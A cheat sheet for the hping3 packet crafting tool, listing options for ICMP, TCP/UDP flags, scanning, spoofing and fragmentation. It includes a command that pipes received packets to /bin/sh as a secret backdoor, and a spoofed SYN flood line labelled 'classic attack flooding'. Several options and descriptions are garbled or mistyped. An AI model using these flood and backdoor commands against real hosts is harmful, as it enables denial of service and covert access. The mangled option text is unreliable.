

Usage:

hping3 -h -	show this help
-help	
hping3 -v -	show version
-version	
hping3 -c -	packet count
-count	
hping3 -i --	wait (uX for X microseconds, interval for example -i u1000)
hping3 --fast	alias for -i u1000 (10 packets for second)
hping3 --faster	alias for -i u1000 (100 packets for second)
hping3 --flood	sent packets as fast as possible. Dont show replies.
hping3 -n -	numeric output
-numeric	
hping3 -q -	quiet
-quiet	
hping3 -I -	interface name (otherwise default routing interface)
-interface	
hping3 -V	verbose mode
--verbose	
hping3 -D	debugging info
--debug	
hping3 -z -	bind ctrl+z to ttl (default to dst port)
-bind	
hping3 -Z	unbind ctrl+z
--unbind	
hping3 --beep	beep for every matching packet received

For ICMP use:

hping3 -C	icmp type (default echo request)
--icmptype	
hping3 -K	icmp code (default 0)
--icmpcode	
hping3 --force-	send all icmp types (default send only supported types)
icmp	
hping3 --icmp-gw	set gateway address from ICP redirect (default 0.0.0.0)
hping3 --icmp-ts	Alias for --icmp --icmptype 13 (ICMP timestamp)
hping3 --icmp-addr	Alias for --icmp --icmptype 17 (ICMP address subnet mask)
hping3 --icmp-help	display help for others icmp options

ARS packet description (new, unstable)

--apd-send	Send the packet described with APD (see docs/APD.txt)
------------	---

Fuzzing:

hping3 -2	basis UPD traceroute
[4.2.2.1] -P	fuzzing, if stuck press
++44444 -T	CTRL+Z to skip unresponsive hop.
-n	

Mode use: Default Mode TCP

hping3 -0 --rawip	RAW IP mode
hping3 -1 --icmp	ICMP mode
hping3 -2 --udp	UDP mode
hping3 -8 --scan	SCAN mode (Example: hping --scan 1-30,70-90 -S www.target.host)
hping3 -9 --listen	listen mode

UDP/TCP parameters:

-s --base-report	base source port (default random)
-p --destport	[+][+]<port> destination port (default 0) ctrl+z inc/dec
-k --keep	keep still source port
-w --win	winsiz (default 64)
-O --tcpoff	set fake tcp data offset (insted of tcphdrlen /4)
-Q --seqnum	shows only tcp sequence number
-b --badcksum	(try to) send packets with a bad IP checksum, many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead.
-M --setseq	set TCP sequence number



UDP/TCP parameters: (cont)

-L -- setack	set TCP ack
-F --fin	set FIN flag
-S --syn	set SYN flag
-R --rst	set RST flag
-P -- push	set PUSH flag
-A --ack	set ACK flag
-U --urg	set URG flag
-X -- xmas	set X unused flag (0x40)
-Y -- ymas	set Y unused flag (0x80)
--tcp- xitcode	use last tcp->th_flags as exit code
--tcp- mss	enable the TCP MSS option with the given value.
--tcp-- tim- estamp	enable the TCP timestamp option to guess the HZ/uptime.

Sniffer:

hping3 -9	listening mode, intercept traffic going through our machine's
-l eth0	network interface

Backdoor:

hpin3 -l eth1 -9	pipe receiving packets to /bin/sh in order to create a
secret /bin/sh	simple backdoor

For IP use:

-a -- spoof	spoof source address
--rand- dest	random destination address mode.
--rand- source	random source address mode.
-t --ttl	ttl (default64)
-N --id	id (default random)
-W -- winid	use win* id byte ordering
-r --rel	relativize id field (to estimate host traffic)
-f --frag	split packets in more frag. (may pass weak acl)
-x -- morefrag	set more fragment flag
-y -- dontfrag	set don't fragment flag
-g -- fragoff	set the fragment offset
-m --mtu	set virtual mtu, implies --frag if packet size > mtu
-o --tos	type of service (default 0x00), try --tos help
-G -- route	includes RECORD_ROUTE option and display the route buffer
--lsrr	loose source routing and record route
--ssrr	strict source routing and record route
-H -- ipproto	set the IP protocol field, only in RAW IP mode

Common:

-d -- data	data size
-E --file	dta fromfile
-e -- sign	add 'signature'
-j -- dump	dump packets in hex
-J -- print	dump printable characters
-B -- safe	enable 'safe' protocol
-u -- end	tell you when --file reached EOF and prevent rewind
-T -- traceroute	traceroute mode (implies --bind and --ttl 1)
--tr- stop	Exit when receive the first not ICMP in traceroute mode
--tr-k- eep-ttl	Keep the source TTL fixed, useful to monitor just one hop
--tr-no- rtt	Don't calculate/show RTT information in traceroute mode

File Transfer:

hping3 -1 [IP Addr] -9	transfer complete
signature -l eth0	receiving files

Flooding:

hping3 -S [Target IP Addr] -a [IP Addr] -p 22 --flood	classic attack flooding
---	-------------------------



By **myke670**
cheatography.com/myke670/

Not published yet.
 Last updated 10th June, 2022.
 Page 2 of 2.

Sponsored by **Readable.com**
 Measure your website readability!
<https://readable.com>